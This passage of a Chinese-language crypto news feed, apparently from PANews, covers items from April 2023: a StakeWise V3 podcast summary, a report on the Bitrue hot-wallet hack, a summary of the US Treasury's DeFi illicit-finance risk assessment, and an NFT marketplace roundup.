技术来教育并让更多人参与音乐领域正在发生的数字化转型。 马斯克：未来12个月推特不会从创作者的“打赏费”中收取任何费用 马斯克推特发文表示，鼓励内容创作者向粉丝提供订阅内容。创作者只需在设置中点击“变现”功能，便可收到“打赏”。在未来12个月里，推特将不收取任何费用，iOS或Android平台将收取30%的费用，而网页平台则收取8%的费用。一年之后，iOS和Android系统收取的费用将降至15%，但推特将在此基础上收取少量费用，具体取决于打赏金额。此外，推特还将帮助推广创作者的内容，创作者可以在任何时候选择离开推特，并带走他们创作的内容。 融资消息 Skyland Ventures旗下Web3基金完成约3800万美元募资，SBI集团参投 据Coinpost报道，日本风投机构Skyland Ventures宣布其名为“Skyland Ventures No.4 Fund”的Web3基金完成总计50亿日元（约合3800万美元）的募资，SBI集团作为新投资者参与了此次募资。 据悉，Skyland Ventures已投资大约150家公司，主要是日本的初创公司。2022年之后，其开始重点投资Web3初创公司。SV4基金成立于2022年4月，作为种子风投基金主要投资Web2、Web3初创公司，尤其积极投资生成式AI领域和元宇宙等数字经济领域。 重要数据 币安完成第23次BNB季度销毁，共计销毁约202万枚BNB 币安发布公告称，根据BNB自动销毁机制，第23次BNB季度销毁已完成。本次共计销毁2,020,132.25枚BNB，其中包括BNB反黑洞计划中额外销毁的656.0230123枚BNB。  ( 4 min )
    PA图说 | 一图掌握以太坊上NFT关键数据（2023.04.14）
    NFT日报全新升级，增加更多新维度，NFT交易时可更全面细致参考！ PANews APP 2.0全新升级，带你挖掘热门NFT，捕捉参与机会，点击此处下载PANews即可体验。  ( 1 min )
    Uniswap V3部署至Polygon zkEVM的提案以100%的支持率获得通过
    PANews 4月14日消息，Tally投票页面显示，Uniswap社区的“将Uniswap V3部署至Polygon zkEVM”的治理提案链上投票以100%的支持率获得通过。投票参与率为4.2%，共4245万张选票。  ( 1 min )
    视频｜香港Web3嘉年华劲爆消息看不完！以太坊突破2000美元市场如何走向？
    00:00 内容预告 00:37 Yearn Finance项目遭受攻击 01:11 SEC正式向孙宇晨发送电子传票 01:36 比特币突破30000美元 02:16 香港众安银行支持法币出金 02:51 比特币登上微博热搜 03:36 FTX有望重启 04:17 Hashkey Pro 即将上线 04:58 以太坊完成上海升级 05:43 香港Web3.0协会成立 06:18 香港Web3嘉年华 07:14 好文推荐  ( 4 min )
    对话 StakeWise联合创始人：StakeWise V3如何为流动性质押民主化带来创新？
    在上海升级之前，ECN 有幸邀请到三个重要的流动性质押服务商StakeWise、Rocket Pool 和 Lido的代表做客 ECN Podcast，跟他们聊聊以太坊上海升级对 Staking 用户和整个行业格局的影响，以及这三个协议各自即将上线的大型升级将会对以太坊 Staking 带来哪些值得期待的创新和变革。 这一期是上海升级与Staking 播客系列的第一期，很高兴邀请到的是StakeWise 的联合创始人 Kirill Kutakov。StakeWise 自 2021 年上线主网以来已运行了2年，以双代币模型作为独特卖点。Kirill 在本期播客除了介绍了 StakeWise 的情况，还分享了用户选择 LSD 时的心智模型，他预期上海升级后 Staking 格局的变化，以及 StakeWise V3 将如何为个人质押和流动性质押民主化带来巨大创新。 Stephanie 时间戳 - 01:50 Kirill 的个人背景 - 02:11 StakeWise 简介 - 03:17 双代币模型 - 06:11 StakeWise 的质押理念 - 09:16 用户选择 LSD 的心智模型 - 14:09 上海升级对 LSD 用户的影响 - 18:36 LSD 行业出现的新选项 - 20:32 上海升级会在多大程度上改变 LSD 的市场格局 - 23:04 赢者通吃的法则是否继续有效 - 24:37 LSD 会否占据网络所有质押的大部分份额 - 30:22 StakeWise V3 有哪些创新 - 35:08 StakeWise V3 的金库评分系统设计 - 39:14 StakeWise StakeWise DAO 的治理 - 40:30 StakeWise V3 的金库市场如何避免中心化 - 45:14 StakeWise V3 与 Obol 和 SSV 的集成 - 48:08 StakeWise V3 上线主网时间 StakeWise 协议在 2021 年三月部署在以太坊主网上，至今运行了 2 年。目前有 85,000 枚 ETH 质押在上面。StakeWise 有两条产品线，流动性质押和个人质押。它的独特卖点在于其双代币模型，即用两种不同的代币分别代表存入协议的部分和从质押赚取的部分。我们要把这两部分区分是因为，从质押赚取的部分是不赚取利息的，把两部分绑在一个代币会造成 APR 上的低效，因为这些奖励没有办法放在交易所里生息。这导致比较晚进入单代币模型协议生命周期的人能赚取的钱比早进入的人少很多。因此，我们希望移除这种低效性，而且也希望赚取的部分可以被管理得更灵活，在二级市场形成复利。 StakeWise 有四个节点运营商，CryptoManufaktur、T-Systems、Finoa 和 VeriHash。这个节点运营商集并不是特别去中心化，这也是 StakeWise V3 努力改善的方向。 目前，以太坊 60% 的押金仅由 30~40 个实体控制，对于一个旨在带来去中心化和无需许可的网络来说，这是远远不够的。因此，我们强烈感受到为流动性质押走向民主化提供可能性是很重要的，这样人们就不需要不断地使用像 Lido 和 Coinbase 这样的服务商，以用质押的 ETH 参与 DeFi。我们的目标和使命就是确保任何人都可以使用流动性质押，无论他们如何运行他们的基础设施，从而避免使用相同的旧服务商。 用户通常会在不同的协议间对比它们的 APR。而在 APR 下面，其实有费用、MEV 使用的中继 (是否合规)；如果再往深一点看，可以看 MEV 奖励是如何在节点运行商和 LSD 用户分配的、以及是否有平滑池、运营商是否有能力把 MEV 的收益留给自己等。如果看到底层的东西，这些流动性质押服务商都非常不同。 允许提款将带来两个变化：一是在二级市场以折价交易的 LST 的价格将回归到锚定的价格；二是长时间闲置的验证者奖励可以再质押进协议，创建更多验证者，形成复利。 我们不认为 LSD 的流动性会因为启动提款就不重要了。有些时候深度流动性还是很重要的，但即将改变的是在市场波动性提高的时候，谁来提供这种流动性。之前这些不同 LST 只在不同的交易所，比如 Uniswap、Curve 或 Balancor 里用于奖励挖矿，是闲置的流动性。上海升级后，我们预期造市商会意识到在市场波动时期流动性池子里不同 LST 基础价格的折价情况。在市场危机时期，我们预期 LST 的折价情况不会像之前那么严重。这也是市场值得关注的一点。 往更大的讲，市场上出现了一些新的流动性质押协议，人们有了更多的选择。这些新的流动性协议更多地在基础设施方面进行创新，在 Rocket Pool 模式上要么进行加强、要么稍作改变，以降低节点运行者的进入门槛。特别在 SSV 或 Obol 技术的帮助下，个人质押者更容易参与协议验证。但他们并没有在流动性质押代币方面有真正的创新。他们提供的还是单个重新定价或再平衡代币。观察这些不同 LST 之间竞争如何在市场形成流动性是很有趣的，因为虽然他们的底层可能非常不同，但并没有为终端用户，即在持有 LSD 的地址赚取质押受益的人带来任何创新。 提款激活后，由于流动性会成为人们选择流动性质押协议时一个没那么重要的因素，在他们认为不同流动性质押协议安全性相当时，收益率会成为他们考虑的基础。我不会预期像 Lido 这样的市场领导者会丢失很大的市场份额，因为它更成熟而且被认为是安全的。另一方面，其他竞争者也难以打破这种网络效应。但同时，我认为一定的市场份额仍然会被抢占，很多在 Rocket Pool 模式上进行的创新的新兴协议会进行竞争。因此，总的来说，我认为LSD 的格局在一定程度上会被重新洗牌，但更可能是在市场的底部而不是头部。 如果头部的质押协议没有出现什么错误的话，我不认为今天的市场结构会发生很大的变化，因此，我认为可能的格局是 Lido 仍然会是具有垄断地位，但还有很多其他的小型竞争者，为人们提供有吸引力的替代方案。 我当然觉得会往这个方向发展，但不是以现在这种流动性质押机制。StakeWise V3 想做的，就是让个人质押者和任何人在流动性质押的参与能尽可能的简单。在 V3，我们创建这样一个平台，任何人都可以启动一个迷你质押池，可以自用也可以是帮别人。自用的话，相当于在我自己的迷你池里进行个人质押；如果是帮别人，相当于他们把 ETH 存进我的迷你池，我代表他们启动一个验证者。这完全是无需许可并不需要任何抵押的。任何人在 v3 存款都会获得 StakeWise 的流动性质押代币，我们把它叫做 osETH，即 over-collateralized staked ETH (超额抵押的质押 ETH)。超额抵押的部分很重要，因为罚没的风险依然存在，而且在 StakeWise 网络上的节点运营者的质量参差，需要对 LSD 的持有者进行保护。超额抵押的机制是，当你在迷你池做质押时，你的资金不会 100% 具有流动性，而是比如说 90%，剩下的部分用于额外抵押，以保护你的节点不被罚没。不一定是你自己的节点，还可以是你质押的节点。它确实会降低一点点你的资金效率，但你90%的押金都可以用于 DeFi。在这个模型下，我们认为流动性质押很可能在总的质押量里有很高的占比，但好的方面是，它不会通过相同的旧提供商而最终导致中心化，现在人们有了很多以前没有的选择。StakeWise 的愿景是流动性质押会以这种形式在以太坊上普及。 为你的个人验证者铸造流动性质押代币。过去，人们需要在支持网络的去中心化而选择个人质押和通过 LSD 参与 DeFi 而选择 Lido 之间做权衡。在 StakeWise V3，人们不要二选一，你既可以支持网络的去中心化，又可以参与流动性质押和 DeFi。 任何人想构建自己的流动性质押服务，代表其他人做质押而没有流动性质押部分的，他们不再需要去 Lido，而可以从 StakeWise 给他们的用户发流动性质押代币，且不需要做额外的工作。也就是说，小型的提供商终于可以构建自己的以太坊质押服务。 与现有的其他 LST 相比，osETH 更优，因为超额抵押的部分使得它更安全。对于 DeFi 协议集成 LST 来说，这一点很重要，因为它们不希望 LST 在基础设施层面有罚没的系统风险。 在这个市场里，由于是用户可以选择哪个运营商为他们运行押金，也就是说押金的分配不是自动的。但当有成百上千个运营商时，选择变得很困难，因此我们想到帮助人们做出选择的金库分数。这个评分系统内容包括运行表现、基础设施设置、金库里存入的抵押金额，然后生成一个分数，这个分数反应金库的相对安全性。随着v3 上线公共测试网，StakeWise DAO 会对评分系统的参数进行调整，讨论就在 StakeWise 的 discord 进行。 收益率的函数受运行表现和费用影响。在运行表现上，如果你没有跳开的区块提议、不窃取 MEV、不使用任何不服从法规的中继， 你的 APR 会是最好的。而费用是每个人自己设定的，这些都会反映在分数上。收益率越高，分数也会越高。越高的 APR 总会吸引更多的存款，更多的存款则会导致中心化。关于这个问题，我们需要两个部分，一个是这个分数需要考虑金库相对于更广大网络的大小。这一点有点难做到，我们会在 V3 升级后对链上情况进行监测，然后进行调整。但总的来说，如果一个金库很大，且在网络上也是个大型运营商，这会降低金库的分数。而另一个机制是 LTV (Loan-to-Value)，反映流动性价值与抵押价值之间的比率，即前面提到的超额抵押的参数。V3 上线时，这个参数的默认值是 90%，这是 StakeWise 认为对质押者来说最好的风险收益。但之后，我们会希望 LTV 是动态的，基于金库的分数而动态调整。因此如果金库的风险更高，它的 LTV 参数不会有 90% 这么高，从而不鼓励质押者选择这个金库。 StakeWise 与两个团队的关系都很好，而且 Obol 和 SSV都已经在 V3 的 Atlantic 测试网上被试用和测试了。首先，DVT 技术在减少离线时间和降低罚没风险上就非常具有革命性。由于 DVT 有效地实现验证者见证的多签功能，大家在运行验证者时就可以避免单点故障。在 StakeWise V3 设置 Obol 和 SSV 会很简单，使用 Obol 或 SSV 的金库会有更高的分数。 总的来说，主网发布的时间应该在四月底或五月初。虽然想在靠近上海升级的时候上线，但考虑到审计和测试时间，我们还是认为安全最重要。 参阅资料： StakeWise 官推：https://twitter.com/stakewise_io StakeWise 官网：https://stakewise.io/ StakeWise V3 公告：https://stakewise.medium.com/stakewise-v3-announcement-9e4fe73abdf2 StakeWise V3 测试网 Atlantic：https://stakewise.medium.com/stakewise-announces-launch-of-atlantic-a-closed-testnet-for-stakewise-v3-e7ea68fdbcf The Risks of LSD：https://notes.ethereum.org/@djrtwo/risks-of-lsd  ( 4 min )
    加密交易所Bitrue热钱包遭受攻击，损失约2440万美元
    PANews 4月14日消息，据The Block报道，加密交易所Bitrue热钱包遭受攻击，损失约2440万美元的代币。受影响的热钱包不到 Bitrue 总资金的 5%。被盗代币当前保存在以 0x181 开头的地址中。攻击者交换了8,858 个以太币，但保留了大部分被盗的 SHIB 和 HOT 代币。Bitrue 暂时停止所有提款，并计划在 4 月 18 日重新开放。  ( 1 min )
    美国、香港：DeFi 即将面临监管？看美国财政部 2023 DeFi 非法金融活动评估报告
    2023年 4 月 6 日，美国财政部发布了 2023 DeFi 非法金融活动评估报告，这是世界上首份基于 DeFi 的非法金融活动评估报告，亦是对 2022 年 3 月白宫发布的虚拟资产监管框架的回应。无论是美国财政部下属的美国金融犯罪执法局（FinCEN），还是美国海外资产控制办公室（OFAC），都是美国虚拟资产行业的重要监管部门，都具有域外的执法权限。FinCEN 负责防范和惩罚国内外洗钱活动、打击恐怖主义融资和其他金融犯罪，以及负责收集和分析金融交易信息，通过研究金融机构的强制性披露信息，追踪可疑人员和活动，OFAC 则负责管理和执行所有基于美国国家安全和对外政策的经济和贸易制裁。 近日，香港证监会（SFC）官员在 2023 香港 Web3 嘉年华的演讲中发声，表示需要加强对 DeFi 的监管。DeFi 的金融稳定性（DeFi 与虚拟资产生态，DeFi 与传统金融）、DeFi 数据的匿名而导致的不透明、DeFi 与虚拟资产行业的市场缺乏诚信、DeFi 网络黑客网络安全等这些问题都对现行监管框架提出了挑战。如何确定 DeFi 项目的责任主体、如何解决 DeFi 项目的中心化、如何解决 DeFi 项目的监管套利等这些问题都是监管迫切需要回应的。香港官员的发言，也在一定程度体现了美国财政部 2023 DeFi 非法金融活动评估报告中的内容。 SFC 的监管目的是出于其对于证券代币规管的逻辑，在此基础上，不仅要从反洗钱的角度，还要从投资者保护的角度来对虚拟资产服务提供商进行监管（Celsius、FTX 的崩盘对中小投资者造成巨大的影响）。 SFC 官员表示：“在遵循 SFC “相同风险，相同方法”的原则下，DeFi 将受到与传统金融机构相同的监管要求约束。从事或执行此类活动的人员应遵守许可要求并受 SFC 监管。如果去中心化平台允许的交易构成 SFO 规定的证券或期货，那么该平台及其服务提供商将需要获得第7类受监管活动的许可证……继立法会通过《2022 年反洗钱和反恐融资修正案》后，SFC 正在寻求实施涵盖中心化虚拟资产服务提供商的新发牌制度。当该制度于今年 6 月 1 日生效时，无论虚拟资产服务提供商是否提供证券代币或非证券代币交易，都必须获得 SFC 的许可。” 吴说报道： https://mp.weixin.qq.com/s/u_7uqkEqNhNEN1h13JNmNA 无论如何，如何监管 DeFi 一直是全球各个司法辖区正在积极探索的问题。美国财政部从它的角度率先给出的这份 42 页的报告就十分值得学习、借鉴了。 报告首先概述了 DeFi 生态系统的市场结构，然后演示了非法行为者如何滥用 DeFi 服务从事非法活动并从中获利，特别是勒索软件攻击、盗窃、诈骗、毒品贩运和扩散融资。然后，报告识别出犯罪分子利用 DeFi 服务进行非法金融行为的漏洞，包括不履行反洗钱/反恐怖主义融资（AML/CFT）和制裁的义务，去中介化的风险，以及在海外司法辖区缺乏履行国际 AML/CFT 的标准的监管真空。最后，报告提出解决其中一些漏洞的缓解措施，以及对美国政府的几项建议，为针对 DeFi 的监管和执法活动提供参考。 2023 DeFi Illicit Finance Risk Assessment 链接如下： https://home.treasury.gov/news/press-releases/jy1391 一、DeFi 的定义 目前，即使在业内也没有对 DeFi 有明确定义，也没有明确到底需要包含哪些特征才会使 DeFi 产品、服务、协议或活动变得“去中心化”。DeFi 泛指虚拟资产的协议和服务，即允许某种形式的自动点对点（P2P）交易，通常基于区块链代码自我执行（智能合约）。 报告中的 DeFi 服务泛指包括去中心化交易所（DEX）、去中心化借贷平台、质押池（Yield Protocols）、跨链桥、流动性质押、去中心化算法稳定币等的DeFi 平台、交易所、应用、组织以及其他形态，但是不包括通过自托管钱包之间进行的交易的 DeFi 服务。 报告将 DeFi 分为 4 个层级： 结算层——区块链共识层，包括 Layer 1 和 Layer 2 的解决方案，在这个层面交易被记录，参与者可以持有虚拟资产的地址并通过智能合约与其他参与者交互。 资产层——DeFi 服务中使用的虚拟资产（Coins and Tokens)。 协议层——部署到区块链，并在其上执行的代码，包括智能合约，还可能包括辅助软件。 应用层——前端用户界面、应用程序编程接口（API）和其他允许参与者与智能合约交互的代码。 在 DeFi 服务中，用户通常将其虚拟资产集中并锁定在 DeFi 服务智能合约的流动性池（Liquidity Pools）中，DeFi 服务则可以从智能合约的流动性池中获取虚拟资产，用于交易、借贷和其他金融服务。由于 DeFi 服务特性，用户可以不提供任何个人信息而使用服务，这区别于中心化交易所要求的 KYC/AML/CFT 以及经贸制裁等相关合规义务。 报告发现，DeFi 这个词在虚拟资产行业被广泛地应用，但是实际上大部分所谓的 DeFi 还是中心化的（或者正在去中心化的过程中），通常由一个组织控制，并提供一定程度的中心化管理和治理。而且，使用不透明组织架构开发的 DeFi 服务，对于识别哪些自然人或法人应该对 DeFi 服务负责的难度较大。 2.1 治理层面的中心化 许多 DeFi 服务声称不依赖于中心化的治理结构，声称其服务是基于代码自主运行的。然而，在实践中，许多 DeFi 服务依旧依赖中心化治理结构（如，实现管理功能，修复代码问题，或在某种程度上调整智能合约的功能）。 一些 DeFi 服务通过去中心化自治组织（DAO）来进行治理，而在 DAO 内，相关人士通过 DAO 的治理代币持有、提案、投票、表决、通过议案、执行这一系列程序对 DAO 进行治理。这些具体程序每个 DAO 都不同，如对于持有多少代币能够提出议案、投票表决的程序以及通过率等。在一些情况下，DeFi 服务的早期投资者、发起人及核心团队通常持有大部分比例的治理代币，并且行使代理投票权的情况下，左右 DAO 的治理，或者说是对于 DeFi 的治理，这种情况下的治理依旧是中心化的。如 2022 年 9 月，CFTC 针对 Ooki DAO 违反美国商品法（CEA）及 CFTC 法律法规的执法行动中，就认为 Ooki DAO 的发起人及主要负责人对 DAO 的治理有较大责任，并进行了处罚。 2.2 应用层面的中心化 对于应用层面的开发者，他们可能对用户有效使用 DeFi 服务产生重要的影响，即使他们声称不“控制”DeFi 服务的智能合约，或者不在 DeFi 服务的治理层面发挥作用。 2.3 结算层面的中心化 不同的区块链亦具有不同程度的去中心化，虽然拥有少量验证者的区块链可以加快区块链的结算时间，并可能降低费用，但它也可能集中决策批准交易。这可能使一小群人能够决定区块链支持的交易类型，包括批准某些交易的能力，或交易结算的顺序。 2.4 托管层面的中心化 虽然一些 DeFi 服务是由用户通过钱包对其虚拟资产自行托管的，但是大部分的 DeFi 服务都要求用户将其虚拟资产存入、锁定进其智能合约。同时，DeFi 服务的小部分人士控制着智能合约的 Key。 报告发现，非法行为人，包括网络犯罪分子、诈骗者和朝鲜民主主义人民共和国（DPRK）的黑客，都在使用 DeFi 服务对其非法所得进行转移和洗钱。非法行为人利用美国和外国有关 AML/CFT 的监管和执法漏洞，以及 DeFi 服务中的技术漏洞，以实现其目的，如犯罪分子通过 DEXs、混币器、跨链桥、流动性资产池等的这类 DeFi 服务对非法虚拟资产进行洗钱，然后通过缺乏 AML/CFT 要求的虚拟资产服务提供商（VASPs）进行虚拟资产与法币的兑换。 四、DeFi 服务的漏洞 在美国，根据《银行保密法》（BSA）和相关法规规定，金融机构有义务协助美国政府机构侦察和防范洗钱。BSA 能对大部分金融机构施加这种义务，其能够根据一个实体（包括 DeFi 服务）的具体金融活动和事实，来确定其是否属于金融机构。如果 DeFi 服务被定义为 BSA 项下的金融机构，那么无论该服务是中心化的还是去中心化的，都必须履行 BSA 项下的义务，包括 AML/CFT，即使 DeFi 服务声称是，或将来是 "完全去中心化的"，这并不影响其在 BSA 下作为金融机构的定义。如根据 FinCEN 于 2019 年的一项指导意见，一个 DeFi 服务如涉及虚拟资产的接受/传输，那么就与法定货币的接受/传输没有区别，属于 Money Transmitter，应履行 AML/CFT 义务。 4.1 不履行 AML/CFT 义务的 DeFi 服务 尽管如此，BSA 项下许多 DeFi 服务未能履行 AML/CFT 义务，这是非法行为者得以利用的一个漏洞。此外，市场参与者对于 AML/CFT 义务如何适用于 DeFi 服务也缺乏共识，这同样加剧了这种风险。在一些情况下，市场参与者可能会故意将其虚拟资产服务去中心化，以避免触发 AML/CFT 义务，但他们没有认识到只要他们继续提供服务，依然属于 BSA 的监管范畴。同时，一些以不透明的组织形式开发的 DeFi 服务可能会给监督带来严重的挑战，如果 DeFi 服务不履行其 AML/CFT 义务，那么可能影响适用的法律和监管的执行。 依然是上述提到的 CFTC 针对 Ooki DAO 的执法案例。Ooki DAO 的主要负责人声称通过 Ooki DAO 的运作将能够使其规避 CEA 以及 CFTC 的监管，即规避 AML/CFT 等义务的履行。这样的后果使潜在犯罪分子能够利用这一漏洞进行非法金融活动。报告特别发现，目前最严重的非法金融风险来自不履行目前现有 AML/CFT 义务的 DeFi 服务。 4.2 去中介化的风险 报告还发现，如果 DeFi 服务不属于 BSA 项下金融机构的定义，即本报告中所称的“去中介”（disintermediation），那么这类 DeFi 服务选择履行 AML/CFT 义务的可能性会降低，可能导致 DeFi 服务在识别和阻止非法活动，以及在识别和向相关执法部门报告可疑活动等方面出现漏洞。 4.3 其他国家并未执行国际 AML/CFT 的标准 其他已查明的漏洞还包括很多国家没有执行国际 AML/CFT 的标准，这使得非法行为人能够在缺乏 AML/CFT 要求的司法辖区内使用 DeFi 服务而不受惩罚。这种跨境的监管套利行为将使 DeFi 规避了 AML/CFT 的要求。 4.4 网络基础设施的漏洞 此外，DeFi 服务不完善的网络安全设施，可能使用户受到欺诈并使其资产被盗，这也给国家安全、消费者和虚拟资产行业带来风险。 报告建议加强美国 AML/CFT 的监管，并在可能的情况下加强对虚拟资产活动（包括 DeFi 服务）的执法，以提高虚拟资产服务提供商对 BSA 义务的合规性。同时，监管机构应根据以往的指导意见、公开声明和执法行动，与行业进一步接触，来解释现行的相关法律法规（包括证券、商品和货币传输法规）该如何适用于 DeFi 服务，并在必要时采取额外的监管行动或发布进一步的指导意见。 财政部将继续更新美国的 AML/CFT 要求，以确保监管框架有效地保护美国金融系统免受各种威胁和非法金融活动的影响，无论是由法定货币还是虚拟资产促成的。报告建议加强适用于 DeFi 服务的美国 AML/CFT 制度，消除 BSA 中任何已识别的漏洞，使 DeFi 服务纳入 BSA 对金融机构的定义范围。 在全球范围内，根据金融行动特别工作组（FATF）制定的 AML/CFT 全球标准，像 DeFi 服务这类缺乏一个实体对服务进行有效控制或影响的，可能不受 AML/CFT 义务的明确约束，这可能导致 DeFi 服务在其他司法管辖区出现监管分歧。报告建议加强与外国监管机构等的合作，以推动实施国际 AML/CFT 标准，并倡导虚拟资产公司完善网络安全设施，以减少这些漏洞的出现。 报告强调，随着美国现有的 AML/CFT 监管框架，以及适用于虚拟资产的全球 AML/CFT 标准的逐步实施，能够在有限程度上缓解已识别漏洞产生的风险，就比如对虚拟资产服务提供商（VASP）出入金业务的监管。这是由于 DeFi 服务目前依赖中心化的虚拟资产服务提供商（VASP）来兑换法币，中心化的 VASP 往往比 DeFi 服务有更简单的内部结构，总是被覆盖在 FATF 标准的监管范围内，并且比 DeFi 服务更有可能实施 AML/CFT 措施。 此外，在为 DeFi 服务制定行业合规解决方案外，对区块链公开数据进行分析也可以帮助防范一些非法金融风险。然而，这些合规方案和基于透明公链的数据分析并不能完全解决 DeFi 服务已识别的漏洞，这些措施并不能取代受监管金融中介机构应用 AML/CFT 措施的重要性。尽管如此，美国政府也应通过负责任的创新形式，寻求促进该行业合规措施，私营部门的参与者已经在寻求这一途径。 该报告认识到，包括 DeFi 服务在内的虚拟资产生态系统正在迅速变化。美国政府将继续进行研究，并与私营部门合作以了解并支持 DeFi 生态系统的发展，并且评估这些发展将如何影响应对非法金融风险的威胁、漏洞和缓解措施。最后，报告提出了几个问题，这些问题将被视为报告建议行动的一部分，以解决非法金融风险，包括与处理不属于 BSA 金融机构定义的 DeFi 服务有关的问题，以及需要进一步明确的监管领域的问题。 ——END—— 本文仅供学习、参考，希望对您有所帮助，不构成任何法律、投资意见，not your lawyer，DYOR。  ( 5 min )
    OPNX CEO：Su Zhu和Kyle Davies目前已不参与OPNX日常事务
    PANews 4月14日消息，破产索赔交易所Open Exchange（OPNX）首席执行官Leslie Lamb在接受0x137采访时透露，OPNX未来希望成为最大的加密交易所，通过债权claim吸引用户，通过Crypto多样化交易留住用户。Su Zhu和Kyle Davies在早期想法和愿景方面有很大贡献，但目前已经不参与OPNX日常事务。 Leslie Lamb还表示，在claim方面，OPNX不仅是债权交易通道，也是定价通道。即使受监管限制无法使用平台的用户，也能通过OPNX的债权定价帮助自己的OTC债权交易。OPNX的资产证明由第三方审计机构提供，没有内部做市团队，会邀请个人做市商，因此才会出现起始交易量很低的情况。  ( 1 min )
    NFT市场竞争白热化，老玩家和新选手们都使出了什么“解数”？
    原文：《头部和黑马NFT交易市场最近都在卷什么？》 作者：十文 NFT 赛道的机会在哪？这应该是近几个月 NFT 玩家苦思冥想的事情。由于 Blur 带来的竞争压力，NFT 市场巨头 Opensea 的市场份额正在不断的被挤压，X2Y2、LooksRare 等二线 NFT 交易市场更是没有什么机会可言，新上线的 NFT 市场也将面临重重挑战。 事实证明，NFT 市场想要留住用户是很困难的，哪里有奖励，有发币预期，他们就会去哪里。面对竞争如此激烈且白热化的 NFT 赛道，各家也都使出浑身解数，想方设法的创新产品和玩法，以抢占 NFT 市场份额。 继免除市场费用和版税之后，Opensea 的又一大动作就是将Gem v2 品牌升级为 OpenSea Pro。Opensea 自收购 Gem 之后，就没有太多有关 Gem 的动态更新，这个曾经风靡一时的 NFT 聚合器 OG 似乎逐渐躺平，淡出了 NFT 市场竞争的行列。不过，此次品牌升级，不仅重新唤醒了 Gem 彼时风光，还让其成为了 Opensea 对抗 Blur 的有力工具。 根据 OpenSea Pro 的官方介绍，此次 Gem 的品牌升级瞄准了成为「最强大的 NFT 市场聚合器」这一目标，汇总了来自 170 多个大大小小的 NFT 市场的列表，包括 Blur、LooksRare、X2Y2、OKX 等平台。此外，其他的一些新的功能包括： 此外，在用户激励上，OpenSea Pro 「正在跟踪用户在 Gem 上的活动以计分」，让人与 Blur 的积分激励有所联想，虽然目前尚未公布具体的玩法细则，不过作为一直尚未发币的 NFT 市场来说，这个暗示已经让 NFT 交易家兴奋起来了。目前，OpenSea Pro 和 Gem 的日交易量和活跃的地址数都名列前茅。 Magic Eden 启动钻石奖励计划，并试水比特币市场 Solana 受 FTX 事件影响之后，Magic Eden 市场的成交量也一度下降。但这并没有阻挡 Magic Eden 的不断扩张。在玩法和产品创新上，Magic Eden 算是动作比较多的了。例如在聚焦 Solana 生态外，又将平台扩展至以太坊网络，推出 ETH 聚合器，还集成了 Polygon 网络；此外，引入折扣和奖励系统，用户可在平台上通过活动获得奖励、折扣和其他福利，且用户有机会获得 5%-45% 的交易折扣等。近期，又将目光聚焦在 Web3 游戏上，其风险投资部门 Magic Eden Ventures 已投资 11 家 Web3 游戏工作室。并在以太坊、Solana 和 Polygon 上逐步推出至少 12 款 Web3 游戏。 近日，Magic Eden 又有两项大动作，其一是推出比特币生态 NFT 市场。随着 Ordinals 协议逐渐获得大家的关注，早期上线的比特币 NFT 场外交易量激增，让越来越多的 Builder 对此感到兴奋，纷纷寻求接入比特币 NFT 生态的机会。Magic Eden 目前已集成对比特币钱包 Hiro 和 Xverse 等的支持，并允许交易者上架、购买和出售 Ordinals NFT，还决定暂时在无版税情况下支持比特币生态 NFT。 此外，MagicEden 还推出了比特币 Launchpad，或受 Magic Eden BTC Launchpad 上线影响，Dune 数据显示 4 月 7 日 Ordinals 铭文 NFT 铸造量出现较大增长达到 36898 枚，较前一日多出超 1 万枚。Magic Eden 还宣布将在四月份上线超过 10 个基于 Ordinals 协议的比特币 NFT 项目。 Magic Eden 的第二项大动作是启动钻石奖励计划。该钻石奖励（Diamond Rewards）计划，允许用户根据不同的任务赚取钻石。根据官网介绍，钻石是一种奖励货币，每月奖励数量都会保持不变。获得钻石的方式有以下三种：在 Magic Eden 上架 NFT 并成功出售；在 Magic Eden 竞价 NFT 并被接受；完善个人资料。此外，100% 的忠诚度得分会获得 2 倍乘数。 Magic Eden 的钻石奖励计划与 Blur 的积分有异曲同工之处。Magic Eden 也是尚未发币的 NFT 市场之一，近期不连断的新动作也让社区分析Magic Eden有较强的发币动机，钻石奖励也可能成为Magic Eden以后发币时的空投参考标准之一。 目前，MagicEden 交易总额已经突破 20 亿美元。 LooksRare上线V2版本，手续费几乎为零 由于奖励机制不断减少，LooksRare 的市场份额也逐渐降低，但其仍然是与 Opensea 竞争的有力对手，并在不断的完善自身的平台功能。LooksRare 的特色就是批量上架、购买等附加功能，以及平台的交易手续费较低，对于那些真实交易和转账的用户来说，更加友好。此次 V2 版本上线，也在这两个方面做出了更新。LooksRare 的平台费用降至 0.5%、Gas 费比 Blur 便宜 50%，还推出了一次签名批量挂单的功能，用户还可以一次性购买 70 多个 NFT，以及卖家可获得 ETH 而非 WETH。 熬过熊市本来就不是一件容易的事情，在「Blur 领导的积分奖励」成为 NFT 交易市场的主要引流风向时，LooksRare 并没有盲目跟风，而是坚定以更低的费用来增强 NFT 的交易体验。 不仅这些老牌 NFT 市场的新动作不断，新上线的 NFT 市场也凭借着早期、玩法创新和空投预期吸引了 NFT 玩家的关注。 昨天，mint.fun 的通行证铸造在推特上的热度很高。mint.fun 是一个 NFT mint 聚合平台，由 Web3 钱包追踪应用 Context 推出，其大火的原因是 Context 去年由 OpenAI首席执行官 Sam Altman 领投，借着 chatGPT 的热度，mint.fun 便成为了撸毛党们押注的下一个金矿。 mint.fun 目前提供的功能包括NFT：一个界面 mint 多个 NFT；对每个项目运行自动安全检查，把可疑项目进行标记以便用户谨慎交互；汇总项目的所有信息，包括项目启动时间、已 mint 的百分比、top minters 等等；项目创建者还可以设定 mint 价格，许多项目都是免费铸造的。 此次开放的通行证铸造，会用于后续交互获取积分使用，截止发文，已有接近 25,000 个地址成功 mint 该通行证，并获取了相应积分。该积分与 Blur 玩法相同，积分越高，获得的箱子就越稀有，并在未来追溯奖励。 Manifold推出多NFT销毁机制“Multiburn” Manifold 是一个允许创作者自行部署合约的 NFT 平台。创作者在部署完自己的 NFT 合约后， Manifold 将提供一套工具，帮助创作者自定义 Drop 机制，且无需编码能力，只需单击一下即可将其安装到你的合约中。并且 Manifold 完全免费使用，不收取任何平台费用或任何销售版权。重点是 Manifold 由a16z投资。 近期，Manifold 宣布推出全新 NFT 销毁机制“Multiburn”，用户可以销毁多个 ERC-721 和 ERC-1155 的 NFT 以创建全新独特的代币，多代币销毁还将提供全新的铸造费用，目前每铸造一次的费用为 0.00099 ETH，而单代币销毁的费用维持 0.00069 ETH不变。 此次更新不仅能够减少燃烧代币所需的费用，还为创建新的 NFT 玩法提供了可能。 